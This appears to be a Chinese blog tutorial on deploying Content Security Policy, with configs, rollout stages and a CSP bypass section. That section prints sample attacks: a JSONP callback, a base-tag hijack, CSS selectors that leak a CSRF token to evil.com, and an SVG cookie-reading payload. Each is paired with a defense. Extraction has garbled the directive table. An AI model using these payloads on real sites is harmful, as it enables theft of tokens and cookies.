什么是 Content Security Policy?
Content Security Policy(内容安全策略,简称 CSP)是现代 Web 安全体系中最重要的防线之一。它通过 HTTP 响应头或
1 | <meta> |
标签向浏览器声明一组规则,明确告诉浏览器哪些资源是允许加载的、哪些脚本是可以执行的、哪些样式是可以应用的。如果违反了这些规则,浏览器将直接拦截违规操作。
CSP 的核心价值在于纵深防御(Defense in Depth)。即便攻击者成功注入了恶意代码(例如通过 XSS 漏洞),CSP 也能在浏览器层面阻止恶意脚本的执行,从而将攻击影响降到最低。根据 Google 的研究数据,正确配置的 CSP 可以阻止 95% 以上的 XSS 攻击。
在 CSP 出现之前,Web 安全几乎完全依赖输入过滤和输出转义。但现实是,过滤和转义总是存在遗漏的可能。CSP 改变了游戏规则——它不再试图阻止攻击者注入代码,而是让浏览器本身拒绝执行未经授权的代码。这种「信任但验证」的思路是 CSP 的哲学基础。

CSP 的工作原理与指令体系
指令的语法结构
CSP 策略由多个指令组成,每个指令控制一类资源的加载策略。基本语法格式为:
1 Content-Security-Policy: directive1 value1 value2; directive2 value1
每个指令之间用分号
1 | ; |
分隔,同一指令的多个值用空格分隔。理解这一点至关重要——分号是指令分隔符,空格是值分隔符。一个常见的错误是在值之间加了分号,导致后续值被解析为新指令。
核心指令详解
以下是 CSP 中最常用的核心指令:
| 指令 | 控制范围 | 示例 | ||||||
|---|---|---|---|---|---|---|---|---|
|
所有资源的默认策略 |
|
||||||
|
JavaScript 脚本来源 |
|
||||||
|
CSS 样式来源 |
|
||||||
|
图片来源 |
|
||||||
|
Ajax/WebSocket 连接目标 |
|
||||||
|
Web 字体来源 |
|
||||||
|
iframe 嵌入来源 |
|
||||||
|
Flash/插件来源 |
|
||||||
|
音视频来源 |
|
||||||
|
限制
标签的 href |
|
||||||
|
限制表单提交目标 |
|
源值(Source Values)
CSP 指令的值可以是以下几种类型:
-
:匹配当前页面的同源资源(包括协议、域名和端口)1'self'
-
:不允许任何资源加载(优先级最高)1'none'
-
:允许内联脚本/样式(会大幅削弱安全性)1'unsafe-inline'
-
:允许1'unsafe-eval'1eval()
、
1new Function()等动态代码执行(极其危险)
-
:只允许带有匹配 nonce 属性的内联脚本1'nonce-{random}'
-
:只允许内容哈希值匹配的内联脚本(SHA256/384/512)1'{hash}'
- URL 模式:精确域名、带路径的 URL 或通配符模式
一个关键概念:没有设置 fallback 的指令会使用
1 | default-src |
作为默认值。但有三个指令永远不会 fallback 到
1 | default-src |
:
1 | base-uri |
、
1 | form-action |
和
1 | nonce |
相关指令。这意味着如果你只设置了
1 | default-src 'self' |
,
1 | base-uri |
实际上是完全开放的,攻击者可以通过注入
1 | <base> |
标签劫持所有相对 URL 的资源加载地址。
CSP Level 3 的新特性与演进
CSP 规范已经从 Level 1 演进到了 Level 3(又称 CSP3),引入了大量新特性来弥补早期版本的不足。
Nonce 替代 unsafe-inline
CSP1 时代,如果你需要内联脚本,唯一的办法就是使用
1 | 'unsafe-inline' |
,但这等于直接放弃了 CSP 对 XSS 的防护。CSP2 引入了 nonce 和 hash 机制,CSP3 进一步强化了它们:
1
2
3
4
5
6 # Nginx 配置:动态生成 nonce
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-$request_id';
style-src 'self' 'nonce-$request_id';
" always;
在 HTML 中使用对应的 nonce:
1
2
3
4
5
6
7
8
9 <script nonce="abc123def456">
// 这段内联脚本会被允许执行
console.log('Hello from inline script');
</script>
<script>
// 没有 nonce 属性的内联脚本会被拦截
console.log('This will be blocked');
</script>
Nonce 机制的核心优势是每次请求都生成新的随机值,攻击者无法预测 nonce 值,因此无法构造可执行的恶意内联脚本。相比 hash 机制,nonce 不需要预计算所有内联脚本的哈希值,更适合动态生成的页面。
strict-dynamic:信任传播的新模型
CSP3 最重要的一项创新是
1 | 'strict-dynamic' |
。它改变了 CSP 的信任模型:不再基于 URL 白名单,而是基于信任链传播。
1
2
3
4 Content-Security-Policy:
script-src 'nonce-abc123' 'strict-dynamic';
object-src 'none';
base-uri 'self';
当你使用
1 | 'strict-dynamic' |
时:
- 所有通过 nonce 或 hash 信任的脚本,它动态创建的
1<script>
标签也会被自动信任
- URL 白名单(如
1https://cdn.example.com
)会被忽略——这是有意为之的
-
1'unsafe-inline'
也被忽略(在支持
1'strict-dynamic'的浏览器中)
这个特性解决了长期以来 CSP 与第三方脚本加载器的冲突问题。以前你想用 Google Analytics、Facebook SDK 等第三方脚本,要么给它们开白名单,要么用
1 | 'unsafe-inline' |
——两者都削弱了安全性。现在只需给引导加载脚本一个 nonce,它后续动态创建的脚本都会被自动信任。
trusted-types:防止 DOM XSS
CSP3 引入了
1 | trusted-types |
指令,专门用于防止 DOM 型 XSS(又称基于 DOM 的跨站脚本)。DOM XSS 的攻击面是那些将字符串直接插入 DOM 的危险 sink:
1
2
3
4
5
6 // 这些都是危险的 DOM sink
element.innerHTML = userInput; // 危险!
element.outerHTML = userInput; // 危险!
document.write(userInput); // 危险!
scriptElement.src = userInput; // 危险!
window.setInterval(userInput, 100); // 危险!
启用
1 | trusted-types |
后,浏览器会拦截所有向危险 sink 传入普通字符串的操作,只允许传入经过类型检查的 TrustedHTML 对象:
1
2
3 Content-Security-Policy:
trusted-types myPolicy default;
require-trusted-types-for 'script';
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 // 定义一个 Trusted Types 策略
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (input) => {
// 自定义的消毒逻辑
return DOMPurify.sanitize(input);
},
createScript: (input) => {
// 只允许特定格式的脚本
if (/^[a-z]+\.js$/i.test(input)) {
return input;
}
throw new Error('Invalid script URL');
}
});
// 正确使用
element.innerHTML = policy.createHTML(userInput);
// 直接传字符串会被拦截
element.innerHTML = userInput; // TypeError!
1 | trusted-types |
将安全检查从被动拦截转为主动类型系统,这是 Web 安全领域的一个重要范式转变。Chrome 从 83 版本开始支持,Firefox 和 Safari 也在跟进中。

从零构建生产级 CSP 策略
第一步:审计现有资源
不要从写 CSP 开始,而要从观察开始。最安全的方式是先用
1 | Content-Security-Policy-Report-Only |
模式收集数据:
1
2
3
4
5
6
7
8
9 # Nginx:仅报告模式,不拦截任何内容
add_header Content-Security-Policy-Report-Only "
default-src 'none';
script-src 'self';
style-src 'self';
img-src 'self';
connect-src 'self';
report-uri /csp-report;
" always;
同时需要搭建一个 CSP 报告接收端点:
1
2
3
4
5
6
7
8
9
10
11
12 # Express.js 接收 CSP 报告
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const report = req.body['csp-report'];
console.log('CSP Violation:', {
'document-uri': report['document-uri'],
'violated-directive': report['violated-directive'],
'blocked-uri': report['blocked-uri'],
'source-file': report['source-file'],
'line-number': report['line-number']
});
res.status(204).end();
});
第二步:渐进式收紧策略
基于报告数据,逐步收紧 CSP 策略。推荐的演进路径:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31 # 第一阶段:最宽松,只禁止最危险的操作
Content-Security-Policy:
default-src * data: blob:;
script-src * 'unsafe-inline' 'unsafe-eval';
object-src 'none';
base-uri 'self';
form-action 'self';
# 第二阶段:禁止 unsafe-eval,限制脚本来源
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com 'unsafe-inline';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
object-src 'none';
base-uri 'self';
form-action 'self';
# 第三阶段:移除 unsafe-inline,使用 nonce
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' 'strict-dynamic';
style-src 'self' 'nonce-{random}';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://fonts.gstatic.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
第三步:前端代码适配
移除所有内联脚本和内联事件处理器,改用 nonce 或外部脚本:
1
2
3
4
5
6
7
8
9 <!-- 之前:内联事件处理器(会被 CSP 拦截)-->
<button onclick="handleClick()">Click me</button>
<!-- 之后:使用 addEventListener -->
<button id="myButton">Click me</button>
<script nonce="{random}" src="/app.js"></script>
// app.js
document.getElementById('myButton').addEventListener('click', handleClick);
对于内联样式,也需要做类似处理:
1
2
3
4
5
6
7
8
9 <!-- 之前:内联 style 标签 -->
<style>
.header { background: red; }
</style>
<!-- 之后:nonce 保护的 style 标签 -->
<style nonce="{random}">
.header { background: red; }
</style>
第四步:处理第三方脚本
第三方脚本是 CSP 适配中最棘手的部分。推荐的处理方式:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 // 方案一:使用 strict-dynamic(推荐)
// 给第三方加载器一个 nonce,它动态创建的脚本自动信任
<script nonce="{random}" src="https://www.google-analytics.com/gtag/js?id=GA_ID"></script>
// 方案二:使用加载器脚本做代理
// 将所有第三方脚本集中在自己的加载器中
<script nonce="{random}" src="/js/loader.js"></script>
// loader.js
function loadThirdParty(url) {
const s = document.createElement('script');
s.src = url;
document.head.appendChild(s);
}
if (document.cookie.includes('consent=analytics')) {
loadThirdParty('https://www.googletagmanager.com/gtag/js?id=GA_ID');
}

CSP 绕过与防御实战
JSONP 绕过
JSONP 端点是 CSP URL 白名单模式的天敌。如果你的 CSP 允许了某个域名(比如
1 | https://www.googleapis.com |
),攻击者可以利用该域名上的 JSONP 端点执行任意代码:
1
2
3
4
5
6
7 <!-- 攻击者构造的恶意脚本 -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(document.domain)//"></script>
<!-- Google 返回的内容 -->
/**/alert(document.domain)//({...json data...})
<!-- 结果:alert 执行了!因为域名在白名单中 -->
防御方法:使用
1 | 'strict-dynamic' |
替代 URL 白名单。在 strict-dynamic 模式下,URL 白名单会被忽略,JSONP 绕过自然失效。
Base Tag 注入
如果 CSP 中没有设置
1 | base-uri |
,攻击者可以注入一个
1 | <base> |
标签,劫持所有相对 URL 的加载地址:
1
2
3
4
5
6
7
8 <!-- 攻击者注入 -->
<base href="https://evil.com/">
<!-- 页面中的合法脚本 -->
<script src="/js/app.js"></script>
<!-- 实际请求:https://evil.com/js/app.js -->
<!-- 攻击者在 evil.com 上放置恶意 app.js -->
防御方法:始终设置
1 | base-uri 'self' |
,这虽然不是
1 | default-src |
的 fallback 指令,但经常被遗忘。
CSS 注入
如果 CSP 允许了
1 | 'unsafe-inline' |
样式,攻击者可以利用 CSS 选择器窃取页面数据:
1
2
3
4
5
6
7 <style>
/* 逐字符探测 CSRF token */
input[value^="a"] { background: url(https://evil.com/?token=a); }
input[value^="ab"] { background: url(https://evil.com/?token=ab); }
input[value^="abc"] { background: url(https://evil.com/?token=abc); }
/* ... 可以覆盖大量组合 */
</style>
防御方法:移除
1 | style-src |
中的
1 | 'unsafe-inline' |
,改用 nonce 机制。
SVG 文件中的脚本
SVG 文件可以包含 JavaScript,如果 CSP 的
1 | img-src |
允许加载外部 SVG:
1
2
3
4
5
6
7
8
9
10 <!-- evil.svg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<circle cx="50" cy="50" r="40"/>
</svg>
<!-- 如果作为 <img> 加载,脚本不会执行(安全) -->
<img src="https://evil.com/evil.svg">
<!-- 如果作为 <object> 或直接嵌入,脚本会执行(危险!) -->
<object data="https://evil.com/evil.svg"></object>
防御方法:确保
1 | object-src 'none' |
,并避免将 SVG 作为
1 | <object> |
或
1 | <iframe |
嵌入。
各服务器框架的 CSP 配置实战
Nginx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30 # /etc/nginx/conf.d/csp.conf
# 方案一:静态 nonce(仅用于演示,生产环境应动态生成)
map $request_id $csp_nonce {
default $request_id;
}
server {
listen 443 ssl http2;
server_name example.com;
# 动态 CSP 头
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-$csp_nonce' 'strict-dynamic';
style-src 'self' 'nonce-$csp_nonce';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com wss://ws.example.com;
font-src 'self' https://fonts.gstatic.com;
frame-src https://www.youtube.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
" always;
# 报告端点(生产推荐使用 report-to)
add_header Reporting-Endpoints "default="https://report.example.com/csp"";
}
Express.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48 const express = require('express');
const crypto = require('crypto');
const app = express();
function cspMiddleware(req, res, next) {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy', [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'nonce-${nonce}'`,
`img-src 'self' data: https:`,
`connect-src 'self' https://api.example.com`,
`font-src 'self' https://fonts.gstatic.com`,
`object-src 'none'`,
`base-uri 'self'`,
`form-action 'self'`,
`frame-ancestors 'none'`,
`upgrade-insecure-requests`
].join('; '));
next();
}
app.use(cspMiddleware);
// 在模板中使用 nonce
app.get('/', (req, res) => {
res.send(`
<!DOCTYPE html>
<html>
<head>
<style nonce="${res.locals.nonce}">
body { font-family: sans-serif; }
</style>
</head>
<body>
<h1>Hello CSP</h1>
<script nonce="${res.locals.nonce}">
console.log('This inline script is allowed');
</script>
</body>
</html>
`);
});
app.listen(3000);
Next.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53 // next.config.js
const CSP_NONCE = ""; // 将在中间件中动态设置
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'nonce-__CSP_NONCE__' 'strict-dynamic'",
"style-src 'self' 'nonce-__CSP_NONCE__'",
"img-src 'self' data: https:",
"connect-src 'self' https://api.example.com",
"font-src 'self'",
"object-src 'none'",
"base-uri 'self'",
"form-action 'self'",
"frame-ancestors 'none'"
].join('; ')
}
]
}
];
}
};
// middleware.js - 动态替换 nonce
import { NextResponse } from 'next/server';
import crypto from 'crypto';
export function middleware(request) {
const nonce = crypto.randomBytes(16).toString('base64');
const response = NextResponse.next();
// 替换 CSP 头中的占位符
const csp = response.headers.get('Content-Security-Policy');
if (csp) {
response.headers.set(
'Content-Security-Policy',
csp.replace(/__CSP_NONCE__/g, nonce)
);
}
// 将 nonce 注入到请求中供页面使用
response.headers.set('x-nonce', nonce);
return response;
}
export const config = { matcher: ['/((?!api|_next/static|_next/image|favicon.ico).*)'] };

CSP 监控与持续运营
Reporting API
CSP3 推荐使用新的 Reporting API 替代旧的
1 | report-uri |
:
1
2
3
4
5
6 # 新版 Reporting API
Reporting-Endpoints: default="https://report.example.com/csp", csp="https://report.example.com/csp"
Content-Security-Policy: default-src 'self'; report-to csp
# 旧版 report-uri(仍然被广泛支持)
Content-Security-Policy: default-src 'self'; report-uri /csp-report
搭建 CSP 报告收集系统
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50 // 使用 Go + PostgreSQL 搭建 CSP 报告收集器
package main
import (
"database/sql"
"encoding/json"
"log"
"net/http"
"time"
_ "github.com/lib/pq"
)
type CSPReport struct {
DocumentURI string `json:"document-uri"`
Referrer string `json:"referrer"`
ViolatedDirective string `json:"violated-directive"`
BlockedURI string `json:"blocked-uri"`
SourceFile string `json:"source-file"`
LineNumber int `json:"line-number"`
StatusCode int `json:"status-code"`
}
func main() {
db, _ := sql.Open("postgres", "postgres://...")
http.HandleFunc("/csp", func(w http.ResponseWriter, r *http.Request) {
var body struct {
Report CSPReport `json:"csp-report"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, err.Error(), 400)
return
}
_, _ = db.Exec(`
INSERT INTO csp_reports
(document_uri, violated_directive, blocked_uri, source_file, created_at)
VALUES ($1, $2, $3, $4, $5)`,
body.Report.DocumentURI,
body.Report.ViolatedDirective,
body.Report.BlockedURI,
body.Report.SourceFile,
time.Now(),
)
w.WriteHeader(204)
})
log.Fatal(http.ListenAndServe(":8080", nil))
}
CSP 部署检查清单
部署 CSP 前请逐一确认以下事项:
- ✅
1default-src
已设置为最严格的基准(推荐
1'self'或
1'none')
- ✅
1object-src 'none'
已设置(禁止 Flash/插件加载)
- ✅
1base-uri 'self'
已设置(防止 base 标签注入)
- ✅
1form-action
已设置(限制表单提交目标)
- ✅
1frame-ancestors
已设置(防止点击劫持)
- ✅
1script-src
中不包含
1'unsafe-inline'和
1'unsafe-eval' - ✅ 使用 nonce 或
1'strict-dynamic'
替代白名单
- ✅ 已设置
1upgrade-insecure-requests
(自动升级 HTTP 到 HTTPS)
- ✅ 已配置 Report-Only 模式并收集至少一周的违规报告
- ✅ 前端代码已移除所有内联事件处理器
- ✅ 第三方脚本已通过 nonce + strict-dynamic 信任链控制
CSP 不是一次性的配置任务,而是一个需要持续监控和迭代的过程。随着应用的功能增长、第三方依赖的变化,CSP 策略也需要同步更新。建议将 CSP 报告纳入日常监控体系,发现异常违规立即调查,这样才能确保 CSP 策略始终有效,真正成为你 Web 安全防线上坚不可摧的一环。
汤不热吧